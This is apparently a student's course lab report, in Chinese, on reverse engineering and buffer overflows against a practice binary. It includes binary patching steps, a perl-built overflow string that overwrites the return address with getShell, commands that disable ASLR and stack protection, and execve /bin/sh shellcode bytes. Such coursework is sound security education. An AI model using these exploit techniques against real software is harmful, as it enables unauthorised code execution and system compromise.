《网络与系统攻防技术》实验一 逆向及Bof基础实践
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
基于以上三个实践,代表我们现实中实现的三种攻击方式:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 注入运行任意代码。
基础知识
EIP、EBP、ESP寄存器
相关知识链接:EIP、EBP、ESP寄存器
- EIP寄存器里存储的是CPU下次要执行的指令的地址。 也就是调用完fun函数后,让CPU知道应该执行main函数中的printf("函数调用结束")语句了。
- EBP寄存器里存储的是是栈的栈底指针,通常叫栈基址,这个是一开始进行fun()函数调用之前,由ESP传递给EBP的。(在函数调用前你可以这么理解:ESP存储的是栈顶地址,也是栈底地址。)
- ESP寄存器里存储的是在调用函数fun()之后,栈的栈顶。并且始终指向栈顶。
输入/输出重定向符及命令行管道的使用
相关知识链接:输入/输出重定向符及命令行管道的使用
- "|":管道,将前者的输出作为后者的输入。
- ">":输入输出重定向符,将前者输出的内容输入到后者中。
实验内容
实践一:手工修改可执行文件
该实践我并未使用pwn文件,而是使用我自己写的c文件,下面为c文件内的具体内容:
该文件中共有三个函数,如同pwn中的三个函数相似,该文件使用main()函数为主函数,并且调用inputa()函数来返回输入值,同时存在一个无法访问的函数hi()来实现实验内容。
首先是对该文件进行反汇编,并对地址进行分析:
objdump -d test | more #反汇编文件test的代码段,|表示分页显示
/hi #寻找hi函数所在地址
得到地址如下图,hi()函数在1145,而main函数在1184:
得到地址后进行计算,主函数中call 115d
实际上是EIP寄存器中的11b0+ffad
,得到地址115d
因此需要进行计算,将adff ffff
(小端模式)改为某个值,使得该值加上11b0
可得到hi()函数地址,即1145
计算过程如下图:
得到该值为 95ff ffff
(小端模式)
最终实现0x000011b0 + 0xffffff95 = 0x00001145
,使得函数跳转至hi函数。
vi test
:%!xxd #转为十六进制
/adff #查找call函数位置
r9r5 #逐个修改,将adff ffff修改为95ff ffff
:%!xxd -r #转回二进制
:wq #保存退出
objdump -d test | more
最终修改完成,程序运行如下图所示:
实践二:构造攻击字符串,覆盖返回地址
该步实践我本打算继续使用我写好的c文件进行实验,但gcc防止栈溢出的参数过多,调试了许久也不能使用字符串覆盖RIP中的地址,因此该实验中我继续使用了实验提供的pwn文件。
对该文件汇编语言进行分析,可得:
该函数预留0x38(56字节)给局部变量,预留0x1c(28字节)给“gets”得到的字符串。
若gets中得到的字符串长于32字节(28——0x1c + 4——EBP),则会覆盖到EIP位置。
只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,则程序执行完foo函数后将返回到getShell函数去执行。
得到下图:
(gdb) r
Starting program: /home/kamanfuture/公共/CTF/pwn1
11111111222222223333333344444444abcdefg
11111111222222223333333344444444abcdefg
Program received signal SIGSEGV, Segmentation fault.
0x64636261 in ?? () #据此可得abcd会覆盖eip地址,且是小端优先
使用perl构造字符串:因为这种方法会直接覆盖EIP寄存器,因此不需要步骤一中的十六进制计算,而是直接将所需要的地址打在攻击字符串的末端即可。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > output20192428 #把这一串字符存在文件中
xxd output20192428 #验证构造的字符串是否符合预期
构造完成后,将该字符串作为输入,运行pwn1文件:
(cat output20192428; cat) | ./pwn1 #将攻击字符串作为输入
实践三:注入一个自制的shellcode
在实验前,首先关闭地址随机化:
apt-get install execstack #安装execstack
execstack -s pwn1 #设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
在这里我的kali崩溃了,接下来的实验我在贾智博同学的电脑上做:
实验中使用anything+retaddr+nops+shellcode的结构
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode #构建该字符串,但需要测试前几个字节的内容
修改后需要去测试前几个字节应填充的内容
如上几图中的描述,最终实现shellcode
实验中遇到的问题
问题一:GCC栈保护导致无法使用自己编写的C代码,进行攻击代码覆盖RIP寄存器(实验中为EIP寄存器)
该问题导致实验中没有使用我自己编写的C代码,解决方法,更改GCC程序在编译时的选项。
目前该问题还尚未完全解决,我记得王老师的PPT中有相关参数,等王老师PPT在云班课发出来后再进行测试修改。
问题二:kali无法定位软件包
该问题很离谱,再更改镜像源后,我发现还是无法定位软件包,无法安装execstack。
于是我做了一个后悔终生的决定,听信CSDN,进行这个帖子的步骤:没错,就是我,点击我就可以看我
我从来没想到过,自己的kali就剩1GB的存储了。
我也从来没想到过,工具更新竟然需要3个多GB的存储。
等我反应过来,一切都晚了。
陪伴我三个学期的kali,就这样牺牲了......三个学期阿......多少份代码阿......
为什么!CSDN!为什么!
终于知道了那句话,失去了才懂得珍惜......
最终解决方案也很简单,也很无奈,也很直接,也没有选择。
就是重装kali。
希望没有下一位倒霉蛋和我一样了。
感悟
本次实验还是比较贴近课程内容的,实验让我对pwn方面内容产生了较大的兴趣。
其次在课程中老师还让我们研究ELF文件组成,在学习后也对linux文件有了自己的了解。
但在实验中我发现自己对于linux的学习远远不够,哪怕是基础的指令有时也得现学。
在今后的学习中我将加强这部分内容的学习,争取有所掌握。